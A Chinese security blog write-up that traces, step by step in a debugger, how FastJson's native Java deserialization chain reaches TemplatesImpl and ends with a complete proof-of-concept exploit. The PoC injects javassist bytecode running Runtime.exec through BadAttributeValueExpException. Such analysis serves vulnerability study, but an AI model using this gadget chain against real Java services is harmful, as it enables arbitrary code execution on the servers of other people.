FastJson原生反序列化链

admin 2024年2月26日10:44:32评论11 views字数 6515阅读21分43秒阅读模式

0x01 前言

好久不见,此次分析源于一次fastjson实战,遇到了其他链打不了,发现原生的链可以打,本着知其然,必要知其所以然的态度,做了一次学习复现,留做笔记。

0x02 漏洞分析

01 环境搭建

老规矩,我们先来搭建环境,新建一个空的maven项目,导入如下依赖

<dependencies>    <dependency>        <groupId>com.alibaba</groupId>        <artifactId>fastjson</artifactId>        <!--<version>1.2.24</version>-->        <version>1.2.47</version>    </dependency>    <dependency>        <groupId>org.javassist</groupId>        <artifactId>javassist</artifactId>        <version>3.19.0-GA</version>    </dependency></dependencies>

然后创建一个测试类

package javassist;import com.alibaba.fastjson.JSON;public class JSONArrayTest {    public static void main(String[] args) {        Person p1 = new Person("kkk", 18);        String str = JSON.toJSONString(p1);        System.out.println(str);    }}class Person{    private String name;    private int age;    public Person(){        System.out.println("无参构造方法");    }    public Person(String name, int age){        this.name = name;        this.age = age;        System.out.println("有参构造方法");    }    public void setName(String name){        this.name = name;    }    public String getName(){        System.out.println("getName被调用");        return this.name;    }    public String getTest(){        System.out.println("getTest被调用");        return "test";    }}

执行一下,看到如下回显就说明ok了

FastJson原生反序列化链

02 调试分析

环境好了之后我们就要开始调试分析了,看看这个链是怎么玩的。

在JSON.toJSONString(p1)行号上打上断点,然后debug模式启动

FastJson原生反序列化链

F7跟入方法

FastJson原生反序列化链

然后连续几个F7进入真正执行操作的方法

FastJson原生反序列化链

先是实例化了一个SerializeWriter类,SerializeWriter 在 FastJSON 库中起到将 Java 对象序列化为 JSON 字符串的作用。

然后实例化了一个JSONSerializer类,继续往下走

FastJson原生反序列化链

这里才是真正解析开始的流程,跟进去

FastJson原生反序列化链

可以看到对象不为空,就获取对象的类类型,随后将类类型带入this.getObjectWriter(clazz),之后获取到一个writer对象,调用write方法,这里我们先跟入this.getObjectWriter(clazz)

FastJson原生反序列化链

接着调用com.alibaba.fastjson.serializer.SerializeConfig#getObjectWriter(方法),继续跟进

FastJson原生反序列化链

先是从serializers成员变量中尝试根据类类型获取对应的writer对象,我们跟入看看

FastJson原生反序列化链

可以看到并没有获取到,返回方法,往下走

FastJson原生反序列化链

因为writer为null,所以程序会一直往下进行条件匹配,最终都没有匹配到进入如下代码块中

FastJson原生反序列化链

通过this.createJavaBeanSerializer方法创建一个writer序列化对象,然后将其类型和生成的序列化对象放入集合中,跟入this.createJavaBeanSerializer

FastJson原生反序列化链

使用TypeUtils.buildBeanInfo封装Person类的相关信息,跟入

FastJson原生反序列化链

先获取所有的成员字段信息,然后再往下调用computeGetters方法获取所有get方法

FastJson原生反序列化链

我们依次看过去,先进入ParserConfig.parserAllFieldToCache(beanType, fieldCacheMap)

FastJson原生反序列化链

先获取Person类的所有成员字段,然后for循环遍历fields数组,获取字段名,再和fieldCacheMap集合中去比对,如果不存在,则将字段名和字段对象写入集合中

然后我们再跟进computeGetters方法

FastJson原生反序列化链

和前面有着异曲同工之妙,获取Person类所有方法对象,然后遍历,区别就在于for循环里做的操作,我们挑重点看一看

FastJson原生反序列化链

这里先是获取方法名,比如getName

FastJson原生反序列化链

然后进行一个长串的判断,满足条件才可进入代码块,可以简单概述一下

  • 方法修饰符不是static

  • 方法返回类型不是void

  • 方法参数长度为零,无参

  • 方法返回类型不是ClassLoader.class

  • 方法名不为getMetaClass、getSuppressed,同时,返回值类型不为groovy.lang.MetaClass

  • 省略。。。

这么来看的话,public java.lang.String javassist.Person.getName(),很显然是满足条件的,所以会进入if代码块,继续往下

FastJson原生反序列化链

这里也做了一个简单过滤,方法名不能为getClass、getDeclaringClass,且长度不能小于4,继续往下

FastJson原生反序列化链

先获取方法名getName的第四个字符“N”,然后进行判断,之后会进入到else代码块,这里将“N”转为小写,然后拼接ame,所以propertyName就是“name”,接着往下看

FastJson原生反序列化链

这里new了一个FieldInfo对象,将Person类的相关信息进行了封装

FastJson原生反序列化链

随后将值存放到fieldInfoMap集合中

FastJson原生反序列化链

然后走完一次循环接着下一次,这里getTest方法也是同理

FastJson原生反序列化链

FastJson原生反序列化链

然后回到com.alibaba.fastjson.util.TypeUtils#buildBeanInfo方法

FastJson原生反序列化链

将这些信息都封装到SerializeBeanInfo类中,实例化返回

FastJson原生反序列化链

至此,TypeUtils.buildBeanInfo方法就走完了,我们会回到com.alibaba.fastjson.serializer.SerializeConfig#createJavaBeanSerializer方法

FastJson原生反序列化链

之后会调用this.createJavaBeanSerializer方法,跟入

FastJson原生反序列化链

继续跟入

FastJson原生反序列化链

将Person类成员信息赋值给JavaBeanSerializer对象的成员变量,然后返回实例化对象

到这里this.createJavaBeanSerializer也走完了,回到上一层com.alibaba.fastjson.serializer.SerializeConfig#getObjectWriter方法

FastJson原生反序列化链

将Person类型类和其对应的解析对象一起存放进SerializeConfig配置类中,接着往下走,回到了com.alibaba.fastjson.serializer.JSONSerializer#write方法

FastJson原生反序列化链

调用write方法,跟入

FastJson原生反序列化链

重点关注write中fieldSerializer.getPropertyValueDirect方法,跟入

FastJson原生反序列化链

继续跟入

FastJson原生反序列化链

看到这里是不是就恍然大悟了,熟悉的配方,熟悉的问道,反射执行对象的方法,这里执行的就是Person对象中符合要求的get方法,下一步之后就可以看到控制台输出了

FastJson原生反序列化链

到这里,基本上调试也就讲完了,下面要讲为什么这里被称之为漏洞点。

03 构造poc

虽然我们可以通过反射执行方法,但是是有限制的,只能执行符合条件的get方法,所以FastJson原生的链并不是最终命令执行的地方,可以理解为跳板,通过这个跳板可以跳到我们最终执行命令的方法中。

说到get方法执行命令,那就不得不说一下我们的老伙计,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

FastJson原生反序列化链

之前很多链中都有它的身影

类似的分析文章数不胜数,我就不重来一遍了。要构造poc目的很明确,就是想办法从FastJson跳板,跳转到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties方法

这里我们需要用到一个异常类作为最初始跳板,就是javax.management.BadAttributeValueExpException

FastJson原生反序列化链

为什么要用这个类,这个就得先看一下com.alibaba.fastjson.JSON类的toString方法了

FastJson原生反序列化链

我们如果想直接触发FastJson原生的链,就需要借助toString方法,这样才不需要我们手动调用toJSONString方法,进而触发上面分析的流程,执行get方法

那很显然即使toString可以触发toJSONString方法,但是还是不够完美,需要目标执行包含恶意对象JSON的toString方法,很显然不太现实

所以,我们才需要借助javax.management.BadAttributeValueExpException异常类,因为在其readObject方法中,会调用成员变量的toString方法

FastJson原生反序列化链

而恰巧,valObj是我们可控的,所以整条链子就出来了:BadAttributeValueExpException->JSON->TemplatesImpl,最终执行任意代码

完整poc如下

package javassist;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;public class POC {    public static void main(String[] args) {        doit();    }    private static void doit() {        try {            ClassPool pool = ClassPool.getDefault();            CtClass ctClass = pool.makeClass("abc");            CtConstructor cons = new CtConstructor(new CtClass[]{}, ctClass);            cons.setBody("{java.lang.Runtime.getRuntime().exec("calc");}");            ctClass.addConstructor(cons);            ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));            byte[] bytes = ctClass.toBytecode();            TemplatesImpl templates = new TemplatesImpl();            Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");            bytecodes.setAccessible(true);            bytecodes.set(templates, new byte[][]{bytes});            Field name = templates.getClass().getDeclaredField("_name");            name.setAccessible(true);            name.set(templates, System.nanoTime() + "abc");            Field tfactory = templates.getClass().getDeclaredField("_tfactory");            tfactory.setAccessible(true);            tfactory.set(templates, new TransformerFactoryImpl());            templates.getOutputProperties();            JSONArray array = new JSONArray();            array.add(templates);            Class<?> bad = Class.forName("javax.management.BadAttributeValueExpException");            Constructor<?> badCons = bad.getConstructors()[0];            Object badObj = badCons.newInstance(new String("fake"));            Field val = bad.getDeclaredField("val");            val.setAccessible(true);            val.set(badObj, array);            ByteArrayOutputStream baos = new ByteArrayOutputStream();            ObjectOutputStream oos = new ObjectOutputStream(baos);            oos.writeObject(badObj);            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());            ObjectInputStream ois = new ObjectInputStream(bais);            ois.readObject();        } catch (CannotCompileException e) {            e.printStackTrace();        } catch (NotFoundException e) {            e.printStackTrace();        } catch (IOException e) {            e.printStackTrace();        } catch (IllegalAccessException e) {            e.printStackTrace();        } catch (NoSuchFieldException e) {            e.printStackTrace();        } catch (InstantiationException e) {            e.printStackTrace();        } catch (InvocationTargetException e) {            e.printStackTrace();        } catch (ClassNotFoundException e) {            e.printStackTrace();        }    }}

04 版本差异

关于版本问题,为什么高版本fastjson就无法利用这条链子了,其主要在于高版本的FastJson JSONArray类中实现了自己的readObject方法,所以在反序列化的时候会优先走他自己的逻辑

FastJson原生反序列化链

0x03 总结

本次技术含量不高,但是对于我这个小菜来说,也学到了一些东西,不是每个执行命令的链才叫反序列化链,往往不起眼的跳板,也能产生不错的化学反应。

0x04 参考文章

Java反序列化之FastJson原生反序列化(https://xz.aliyun.com/t/12755)

原文始发于微信公众号(伟盾网络安全):FastJson原生反序列化链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月26日10:44:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson原生反序列化链https://cn-sec.com/archives/2525389.html

发表评论

匿名网友 填写信息